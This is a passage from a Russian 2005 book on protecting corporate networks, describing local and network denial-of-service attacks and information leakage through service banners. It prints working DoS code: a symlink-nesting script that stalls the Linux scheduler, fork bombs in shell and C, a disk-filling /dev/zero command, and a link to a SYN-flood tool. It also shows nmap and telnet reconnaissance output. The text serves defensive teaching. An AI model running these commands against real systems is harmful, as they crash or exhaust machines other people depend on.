bannerbannerbanner
Защита от хакеров корпоративных сетей
Защита от хакеров корпоративных сетей

Полная версия

Защита от хакеров корпоративных сетей

текст

0

0
Язык: Русский
Год издания: 2005
Добавлена:
Настройки чтения
Размер шрифта
Высота строк
Поля
На страницу:
6 из 7

Известен вариант атаки этого класса, основанный на недавно найденной уязвимости в ядре Linux. Создавая систему вложенных символических ссылок, пользователь может помешать планированию выполнения других процессов во время разыменовывания символической ссылки. После создания вложенных символических ссылок, пытаясь выполнить один из связанных файлов, планировщик процесса блокируется, не позволяя другим процессам получить процессорное время. Ниже представлен исходный текст файла mklink.sh, который создает все необходимые ссылки в системе, подвергнувшейся нападению (эта проблема была полностью исправлена только в ядре Linux версии 2.4.12):


#!/bin/sh

# by Nergal

mklink()

{

IND=$1

NXT=$(($IND+1))

EL=l$NXT/../

P=“”

I=0

while [ $I -lt $ELNUM ] ; do

P=$P“$EL”

I=$(($I+1))

done

ln -s “$P”l$2 l$IND

}

#main program

if [ $# != 1 ] ; then

echo A numerical argument is required.

exit 0

fi

ELNUM=$1

mklink 4

mklink 3

mklink 2

mklink 1

mklink 0 /../../../../../../../etc/services

mkdir l5

mkdir l


Еще один вариант локальной DoS-атаки получил название fork bomb – развилочная бомба (fork bomb – самовоспроизводящаяся командная строка, способная в конечном итоге уничтожить все другие записи в таблице процессов командной системы). Эта проблема не только операционной системы Linux. Она не решена и в других операционных системах на различных платформах. Развилочную бомбу легко реализовать на языке командной оболочки shell или языке C. Код бомбы на языке командной оболочки shell представлен ниже:


($0 & $0 &)


Код на языке С следующий:


(main() {for(;;)fork();})


В любом из вариантов злоумышленник может снизить эффективность работы процесса как незначительно, лишь замедлив работу системы, так и весьма сильно, перерасходовав или монополизировав ресурсы системы и вызвав тем самым ее аварийный отказ.


Переполнение диска

Цель другого класса локальной DoS-атаки состоит в том, чтобы полностью заполнить диск. Емкость диска – конечный ресурс. Ранее дисковая память была очень дорогим ресурсом. В настоящее время цена хранения информации на диске значительно снизилась. Несмотря на возможность решения многих задач хранения информации при помощи дисковых массивов и программ, контролирующих хранение информации, емкость дисковой памяти продолжает оставаться узким местом во всех системах. Программные решения типа выделения квот хранения информации каждому пользователю позволяют лишь смягчить эту проблему.

Этот вид атак преследует цель сделать невозможным создание новых файлов и увеличение размера существующих. Дополнительная проблема состоит в том, что некоторые UNIX-системы завершаются аварийно при полном заполнении корневого раздела. Хотя это нельзя характеризовать как конструкторский дефект UNIX, правильное администрирование системы должно предусматривать отдельный раздел для журналов регистрации типа /var и отдельный раздел для пользователей типа директории /home на Linux-системах или директории /export/home на системах Sun.

Если при планировании работы с диском не было предусмотрено разбиение диска на раздел(ы) для пользователей и, отдельно, раздел(ы) для журналов регистрации, то злоумышленник может воспользоваться этим типом DoS-атаки для достижения аварийного отказа системы. Он может также воспользоваться этим типом атаки для затруднения работы пользователей: при генерации большого количества событий, регистрируемых в системном журнале syslog, расходуется отведенная разделу журналов регистрации дисковая память, и при ее исчерпании нельзя зарегистрировать новые события в журнале syslog.

Реализация такой атаки тривиальна. Пользователю локального компьютера достаточно выполнить следующую команду:


cat /dev/zero > ~/maliciousfile


Эта команда свяжет файл устройства /dev/zero (который просто генерит нули) с файлом злоумышленника. Команда будет продолжаться до тех пор, пока пользователь не прекратит ее выполнение или не будет заполнен диск.

Для усиления разрушительного эффекта атаки, направленной на исчерпание дисковой памяти, можно воспользоваться идеей бомбежки почты. Хотя это старая идея, на практике она почти не применяется. Возможно, из-за того, что на основе анализа заголовков пакетов протокола SMTP путь электронной почты легко проследить. И хотя для передачи пакетов могут использоваться открытые ретрансляторы (open relays), поиск отправителя почтовой бомбы – не очень сложная задача. Поэтому большинство бомбардировщиков почты окажется или без Интернета, или в тюрьме, или одновременно и там, и там.


Истощение индексных узлов

Несмотря на разные цели, атаки, направленные на истощение индексных узлов, похожи на предыдущий тип DoS-атаки, ориентированный на переполнение диска. Локальные DoS-атаки истощения индексных узлов изначально ориентированы на тот или иной тип файловой системы. Индексные узлы – обязательная часть файловой системы UNIX.

Индексные узлы содержат важную информацию файловой системы. Как минимум, это сведения о владельце файлов, групповом членстве файлов, их типе, разрешениях, размере и адресах блоков, содержащих данные файла. При форматировании файловой системы создается конечное число индексных узлов для обработки индексов файлов каждой группы.

Ориентированные на истощение индексных узлов DoS-атаки стараются использовать все доступные индексные узлы раздела. Истощение этих ресурсов создает ситуацию, подобную той, которая происходит в случае нехватки места на диске. В результате система не может создавать новые файлы. Этот класс атак обычно используется для нанесения ущерба системе и препятствования регистрации системных событий, особенно действий злоумышленника.

Сетевые DoS-атаки

Сетевые DoS-атаки, преследующие цель вывода подключенного к сети компьютера (или компьютеров) из строя, могут быть отнесены к одному из двух подклассов: нападение на какую-либо службу системы или нападение на систему в целом. Такие атаки могут быть очень опасными. Эти типы атак были придуманы для создания дискомфорта пользователям и предпринимаются злоумышленником как карательные акции.

Характеризуя людей, стоящих за подобными атаками, следует сказать, что DoS-атаки из сети – в основном метод действия малодушных людей, пытающихся уйти от ответственности за совершенные действия. Любые оправдания DoS-атак из сети несостоятельны. Свободно распространяемый и легкодоступный инструментарий создал субкультуру, называемую миром возможностей новичков-недоумков (script kiddiot), способных только на то, чтобы запустить нужный сценарий. (Автор позаимствовал неологизм, придуманный Джосом Оквендо (Jose Oquendo) – автором известной программы antiofiline.com.) Выражение новичок-недоумок произошло от базового словосочетания, в котором сценарий определяется как «предварительно написанная программа, запускаемая пользователем», а словообразование новичок-недоумок (kiddiot) является комбинацией слов ребенок и недоумок. Очень доходчиво. Доступность существующего инструментария позволяет им причинять неудобства, оставаясь при этом анонимными. При этом пользователям совсем не обязательно утруждать себя хотя бы минимальными техническими знаниями. Единственные, кто несет за подобные атаки большую ответственность, чем новички-недоумки, – это группа профессионалов, создающих условия для подобных атак.

DoS-атаки из сети, как уже было сказано, могут быть направлены на службы или систему в целом в зависимости от того, какую цель преследует атака и почему. Они могут быть подразделены на атаки, направленные для достижения отказа в обслуживания клиентской части, сервисов или систем. В следующих разделах каждый из этих типов атак будет рассмотрен более детально.


Сетевые DoS-атаки на клиентскую часть

Специальные программы ориентированы на достижение отказа в обслуживании клиентской части. Они преследуют следующую цель: добиться невозможности выполнения клиентской частью запросов пользователя. Примером подобной атаки являются так называемые бомбы JavaScript (JavaScript bombs).

По умолчанию большинство Web-браузеров разрешают использование сценария на языке JavaScript. То, что это действительно так, можно заметить во время посещения Web-сайта, когда отображается всплывающая или фоновая (pop-under) реклама. К сожалению, злоумышленник может использовать возможности JavaScript преступным образом, например для атаки с целью достижения отказа обслуживания клиентской части. Используя ту же самую технику, что и рекламодатели для создания нового рекламного окна, злоумышленник может создать злонамеренную Web-страницу, состоящую из бесконечного цикла создания окон. В конечном счете всплывет так много окон, что система исчерпает все свои ресурсы.

Это был пример атаки на клиентскую часть для достижения отказа в обслуживании пользователя в результате исчерпания ресурсов. Принцип атаки аналогичен ранее описанному, но теперь атака организована через сеть. Это только одна из многих атак на клиентскую часть. Другие используют возможности таких программ, как AOL Instant Messenger, ICQ Instant Message Client и аналогичные им.


Сетевые DoS-атаки на сервисы

Другим представителем класса сетевых DoS-атак являются сетевые DoS-атаки на сервисы. Они предназначены для нападения на выбранные для атаки сервисы, для того чтобы добиться их недоступности для авторизованных пользователей. Подобные атаки обычно осуществляются при помощи таких используемых пользователями сервисов, как демон протокола передачи гипертекста (Hypertext Transfer Protocol Daemon – HTTPD), агент доставки почты (Mail Transport Agent – MTA) и др.

Иллюстрацией подобной проблемы служит уязвимость, которая случайно была обнаружена в инфраструктуре Web-конфигурации операционной системы фирмы Cisco CBOS (Cisco Broadband Operating System). После появления на свет червя Code Red, который создавался, ориентируясь на Wed-сервера с IIS (Internet Information Server) 5.0 фирмы Микрософт, было обнаружено, что червь неразборчив к типу атакуемого Web-сервера. Червь сканировал сети в поисках Web-серверов и предпринимал попытки атаковать любой встретившийся сервер.

Побочный эффект червя проявился в том, что хотя некоторые хосты оказались ему не по зубам, другие хосты, в частности хосты с CBOS, оказались подверженными другой опасности: прием от хостов, инфицированных Code Red, многократных запросов на соединение с использованием протокола TCP через порт 80 приводил к аварии CBOS.

Хотя эта уязвимость была обнаружена как проявление другой, любой пользователь мог воспользоваться ею с помощью легкодоступного инструментария аудита сети. Тем более что после нападения маршрутизатор не смог бы самостоятельно выключиться и сразу включиться, чтобы восстановить свою работоспособность. Это классический пример атаки, нацеленной на уязвимый сервис.


Сетевые DoS-атаки на систему

Нацеленные на разрушение системы сетевые DoS-атаки обычно преследуют те же цели, что и локальные DoS-атаки: уменьшение производительности системы вплоть до ее полного отказа. Выявлено несколько характерных подходов для осуществления этого типа атак, которые по существу полностью определяют используемые методы. Один из них основан на атаке одной системы из другой. Этот тип нападения был продемонстрирован в нападениях land.c, Ping of Death (звонок смерти) и teardrop (слезинка), происходивших пару лет назад, а также в нападениях на различные уязвимости фрагментированных пакетов TCP/IP в маршрутизаторе D-Link, Microsoft ISA Server и им подобных программных средствах.

Аналогична идея синхронной атаки (SYN flooding). (SYN flooding – злонамеренное действие, состоящее в генерировании злоумышленником лавины синхронизирующих символов SYN с целью заблокировать легальный доступ на сервер путем увеличения полуоткрытых соединений к TCP порту). Синхронная атака предполагает наличие ряда условий: начиная от случая, когда атакующий компьютер обладает большей производительностью, чем атакуемый, и заканчивая случаем наличия в сети компьютеров, соединенных скоростными каналами. Этот тип нападения используется главным образом для деградации производительности системы. Синхронная атака реализуется путем посылки запросов на TCP-соединение быстрее, чем система сможет их обработать. Атакованная система расходует ресурсы на отслеживание каждого соединения. Поэтому получение большого количества символов синхронизации может привести к тому, что атакованный хост исчерпает все свои ресурсы и не сможет выделить их новым легальным соединениям. IP-адрес источника, как обычно, подменяется таким образом, чтобы атакованная система не смогла получить ответ на свою посылку второй части трехстороннего представления SYN-ACK (синхронизированное уведомление об успешном приеме данных, генерируемое получателем пакетов). Некоторые операционные системы несколько раз повторно передадут SYN-ACK, перед тем как освободить ресурс и вернуть его системе. Заках (Zakath) написал программу синхронной атаки syn4k.c. Программа позволяет указать в пакете подмененный адрес отправителя и порт системы жертвы синхронной атаки. По соображениям краткости изложения в книге не приведен исходный код программы, но его можно загрузить с www.cotse.com/sw/dos/syn/synk4.c.

Синхронную атаку можно обнаружить различными инструментальными средствами, например командой netstat, результат действия которой показан на рис. 3.1, или с помощью сетевых систем обнаружения вторжения (IDS).

Рис. 3.1. Пример использования команды netstat для обнаружения синхронной атаки


В некоторых версиях операционных систем использование параметра – n команды netstat позволяет отобразить адреса и номера портов в числовом формате, а переключатель -p – выбрать протокол для просмотра. Это дает возможность просматривать не все соединения по протоколу UDP (User Datagram Protocol), а только те из них, которые представляют интерес в рамках определенной атаки. Перед использованием команды ознакомьтесь с описанием команды netstat, установленной на вашей операционной системе, чтобы гарантировать использование правильных параметров.

Добавим, что некоторые операционные системы поддерживают возможность работы с маркерами SYN cookies по протоколу TCP. Использование маркеров SYN cookies позволяет устанавливать защищенные криптографическими средствами соединения (в системах с удаленным доступом использование маркеров подразумевает пароль, порождаемый сервером при первом подключении и отсылаемый пользователю; при последующих подключениях пользователь должен предоставлять серверу этот пароль). При получении символа синхронизации SYN от системы – инициатора обмена система возвращает символы синхронизированного уведомления об успешном приеме данных SYN+ACK, как если бы SYN-очередь в действительности была больше. При возврате системой-инициатором обмена символа ACK обратно системе она вызывает специальную функцию сервера, передавая функции в качестве входного параметра значение 32-битового счетчика времени по модулю 32. Если результат, возвращаемый функцией, соответствует ожидаемому, то используется извлеченный максимальный размер сегмента MSS и восстанавливаются внутренние переменные для правильного поступления SYN-символов в очередь.

Рассмотрим атаки типа smurf или packet, которые обычно инициируются ранее упомянутыми новичками-недоумками. Атаки типа smurf – DoS-атаки из сети, ставящие перед собой цель вывести из строя атакованный хост. Этот тип атак использует маршрутизатор, играющий роль посредника, как это показано на рис. 3.2. Злоумышленник, подменивший исходный IP-адрес на адрес атакуемого хоста, генерирует большое количество эхо-сообщений по протоколу ICMP (Internet Control Message Protocol), создавая тем самым большой поток информации по широковещательным IP-адресам. Маршрутизатор, в данном случае выступающий в роли усилителя smurf-атаки, преобразует широковещательный запрос на IP-передачу к широковещательному запросу уровня канала передачи данных Layer 2 и посылает их дальше. Каждый хост, получив широковещательный запрос, отвечает эхо-сигналом по подмененному IP-адресу отправителя. В зависимости от числа хостов в сети как маршрутизатор, так и атакуемый хост могут быть перегружены потоком информационного обмена, что может привести к снижению сетевой производительности атакованного хоста. В зависимости от числа используемых сетевых усилителей атакованная сеть сможет достичь предела своих возможностей обработки информации.

Рис. 3.2. Схема smurf-атаки


В последнее время появились сетевые распределенные DoS-атаки (DDoS). В их основе лежит та же самая идея, что и в smurf-атаках, хотя средства нападения и метод усиления атаки значительно отличаются.

Типы DDoS-атак различаются способом использования клиентов, мастеров и демонов (также называемых зомби). Для того чтобы DDoS-атака стала возможной, специальная программа должна быть размещена на десятках или сотнях системах-«агентах». Обычно кандидаты на роль «агентов» ищутся автоматически среди хостов, которые могут быть cкомпрометированы (например, в результате переполнения буферов во время удаленного вызова процедур (RPC) служб statd, cmsd и ttdbserverd). Затем на скомпрометированные хосты размещается специальная программа – мастер или демон. На них же загружаются специальные программы запуска демонов вместе с программами-генераторами потока пакетов информации, нацеленных на атакуемую систему. Для атаки злоумышленник использует клиента мастера, размещенного на скомпрометированном хосте. Мастер позволяет злоумышленнику управлять демонами. В конечном счете злоумышленник управляет несколькими мастерами, а те – демонами. Во время DDoS-атаки каждый из агентов участвует в создании избыточного потока информации по направлению к атакуемой системе и перегружает ее. Современный набор инструментальных средств DDoS-атак состоит из таких средств, как trinoo, Tribe Flood Network, Tribe Flood Network 2000, stacheldraht, shaft и mstream. Для дополнительного ознакомления о средствах и методах обнаружения демонов и инструментарии DDoS-атак посетите Web-сайт Дэвида Дитриха (David Dittrich): http://staff.washington.edu/dittrich/misc/DDoS.

Приоткрывая завесу

Код Red Worm

В июле 2001 года фильтр IIS (Internet Information Server – информационный сервер Internet) фирмы Микрософт был преобразован в автоматическую программу, названную червем. Используя брешь в системе защиты IIS, червь сначала атаковал один IIS, а затем, пользуясь скомпрометированной системой, нападал на другие системы IIS. Червь предназначался для двух вещей. Во-первых, для стирания Web-страницы инфицированной системы. И, во-вторых, для координации DdoS-атаки против Белого дома. Червь потерпел неудачу, не достигнув своих целей, в основном из-за своевременной квалифицированной реакции штаба информационных технологий Белого дома (White House IT staff).

Последствия от нападения червя не ограничились уязвимыми операционными системами Windows или Белым домом. В результате атаки были переполнены журналы серверов HTTP, неуязвимых к нападению, и был найден оригинальный способ воздействия на маршрутизаторы цифровой абонентской линии (DSL-Digital Subscriber Line) фирмы Cisco. После нападения червя на маршрутизаторы DSL с интерфейсом Web-администрирования они работали неустойчиво, аварийно завершались, способствуя тем самым отказу в обслуживании. В результате клиенты Qwest и некоторых других известных Интернет-провайдеров остались без доступа к сети, пораженной червем. Из-за деятельности червя инфицированная сеть была перегружена операциями сканирования.

Утечка информации

Утечку информации можно сравнить с протечкой воды из прохудившихся труб. Почти всегда утечка информации нежелательна и заканчивается неприятностями. Как правило, утечка информации – результат неправильного обращения с ресурсом, от которого зависит возможность нападения. Точно так же как генералы полагаются на сведения разведчиков, проникших в тыл врага, так и злоумышленники проникают в сеть для выполнения аналогичных задач, собирая информацию о программах, операционных системах и архитектуре сети, намеченной для нападения.

Пути утечки информации

Пути утечки информации различны. Один из возможных путей – баннеры. Баннеры – текст, предъявляемый пользователю при регистрации в системе посредством той или иной службы. Баннеры можно найти в протоколах FTP (File Transfer Protocol), SMTP (Simple Mail Transfer Protocol), POP3 (Post Office Protocol v. 3, оболочках безопасности (SSH-secure shell), службе telnet. Большинство программного обеспечения этих служб услужливо предоставляют внешним пользователям информацию о своей версии и конфигурации, как показано на рис. 3.3.

Рис. 3.3. Версия демона SSH


Другой путь – сообщения об ошибках. Часто Web-сервера предоставляют избыточную информацию о себе при возникновении исключительных условий. Исключительные условия определяются обстоятельствами, отличными от нормальных условий работы, например запросом несуществующей страницы или неопознанной командой. В этой ситуации лучше всего предусмотреть возможность настройки формата выдачи диагностических сообщений или тщательно продумать (workaround) формат выдачи диагностики. На рисунке 3.4 показано излишне болтливое сообщение об ошибке Apache.

Рис. 3.4. Разглашение информации о версии HTTP-сервера


Анализ протоколов

Обзор путей утечки информации будет неполным, если не сказать об анализе протоколов (protocol analysis). Существуют различные варианты анализа протоколов. В одном из вариантов используются ограничения, предусмотренные при разработке протоколов якобы для предотвращения выдачи избыточной информации о системе. Посмотрите на этот FTP-запрос system type:


elliptic@ellipse:~$ telnet parabola.cipherpunks.com 21

Trying 192.168.1.2…

Connected to parabola.cipherpunks.com.

Escape character is “^]”.

220 parabola FTP server (Version: 9.2.1-4) ready.

SYST

215 UNIX Type: L8 Version: SUNOS


В HTTP – аналогичная проблема. Посмотрите, как выбалтывается информация о системе в заголовке HTTP посредством команды HEAD:


elliptic@ellipse:~$ telnet www.cipherpunks.com 80

Trying 192.168.1.2…

Connected to www.cipherpunks.com.

Escape character is “^]”.

HEAD / HTTP/1.0


HTTP/1.1 200 OK

Date: Wed, 05 Dec 2001 11:25:13 GMT

Server: Apache/1.3.22 (Unix)

Last-Modified: Wed, 28 Nov 2001 22:03:44 GMT

ETag: “30438-44f-3c055f40”

Accept-Ranges: bytes

Content-Length: 1103

Connection: close

Content-Type: text/html


Connection closed by foreign host.


Кроме этих вариантов, злоумышленники при анализе протоколов используют и другие. Один из них – анализ ответов в IP-протоколе. Атака основана на уже упомянутой идее, но реализуется на более низком уровне. Автоматизированный инструментарий типа Network Mapper или Nmap предоставляет удобные средства для сбора информации о системе, на которую готовится нападение, включая общедоступные порты системы и установленную на ней операционную систему. Посмотрите на результаты сканирования Nmap:


elliptic@ellipse:~$ nmap -sS -O parabola.cipherpunks.com


Starting nmap V. 2.54BETA22 (www.insecure.org/nmap/)

Interesting ports on parabola.cipherpunks.com (192.168.1.2):

(The 1533 ports scanned but not shown below are in state:

closed)


Port State Service

21/tcp open ftp

22/tcp open ssh

25/tcp open smtp

53/tcp open domain

80/tcp open http


Remote operating system guess: Solaris 2.6 – 2.7

Uptime 5.873 days (since Thu Nov 29 08:03:04 2001)


Nmap run completed – 1 IP address (1 host up) scanned in 67 seconds


Во-первых, давайте выясним смысл флажков, использованных для сканирования системы parabola. Флаг sS используется при SYN-сканировании для исследования полуоткрытых соединений с целью определения открытых портов хоста. O флаг указывает Nmap на необходимость идентификации операционной системы, если это возможно, на основе ранее выявленных и сохраненных в базе данных особенностей реакции систем на сканирование. Как вы можете видеть, Nmap смог идентифицировать все открытые порты системы и достаточно точно определить операционную систему системы parabola (на самом деле это была операционная система Solaris 7, выполняющаяся на платформе Sparc).

На страницу:
6 из 7